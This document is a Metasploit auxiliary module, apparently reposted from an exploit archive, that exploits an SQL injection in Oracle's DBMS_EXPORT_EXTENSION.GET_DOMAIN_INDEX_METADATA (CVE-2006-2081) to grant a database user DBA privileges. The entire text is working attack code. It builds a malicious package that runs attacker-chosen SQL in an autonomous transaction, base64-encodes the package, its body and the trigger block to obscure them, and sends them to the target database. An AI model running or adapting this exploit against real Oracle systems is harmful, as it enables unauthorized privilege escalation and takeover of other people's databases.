Oracle DB SQL Injection Via DBMS_EXPORT_EXTENSION

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via DBMS_EXPORT_EXTENSION',  
'Description' => %q{  
This module will escalate an Oracle DB user to DBA by exploiting a  
sql injection bug in the DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA package.  
  
Note: This module has been tested against 9i, 10gR1 and 10gR2.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2006-2081' ],  
[ 'OSVDB', '25002' ],  
[ 'BID', '17699' ],  
[ 'URL', 'http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html' ],  
],  
'DisclosureDate' => '2006-04-26'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
  
package = %Q|  
create or replace package #{name} authid current_user is  
function ODCIIndexGetMetadata (oindexinfo sys.odciindexinfo,P3 varchar2,p4 varchar2,env sys.odcienv)  
return number;  
end;  
|  
  
body = %Q|  
create or replace package body #{name} is  
function ODCIIndexGetMetadata (oindexinfo sys.odciindexinfo,P3 varchar2,p4 varchar2,env sys.odcienv)  
return number is  
pragma autonomous_transaction;  
begin  
execute immediate '#{datastore['SQL']}';  
commit;  
return(0);  
end;  
end;  
|  
  
sploit = %Q|  
declare  
#{rand1} pls_integer;  
#{rand2} number;  
#{rand3} varchar(32767);  
begin  
#{rand2} := 0;  
#{rand3} := sys.dbms_export_extension.get_domain_index_metadata('#{name}', '#{datastore['DBUSER']}', '#{name}', '#{datastore['DBUSER']}', '', newblock => #{rand1}, gmflags => #{rand2});  
end;  
|  
  
encoded_package = %Q|  
declare  
#{rand1} varchar2(32767);  
begin  
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{Rex::Text.encode_base64(package)}')));  
execute immediate #{rand1};  
end;  
|  
  
encoded_body = %Q|  
declare  
#{rand2} varchar2(32767);  
begin  
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{Rex::Text.encode_base64(body)}')));  
execute immediate #{rand2};  
end;  
|  
  
encoded_sploit = %Q|  
declare  
#{rand3} varchar2(32767);  
begin  
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{Rex::Text.encode_base64(sploit)}')));  
execute immediate #{rand3};  
end;  
|  
  
# Finally...  
print_status("Sending package '#{name}'...")  
prepare_exec(encoded_package)  
  
print_status("Sending body '#{name}'...")  
prepare_exec(encoded_body)  
  
print_status("Attempting sql injection on SYS.DBMS_EXPORT_EXTENSION...")  
prepare_exec(encoded_sploit)  
  
# Probably should do a 'drop package #{name}'  
end  
end  
`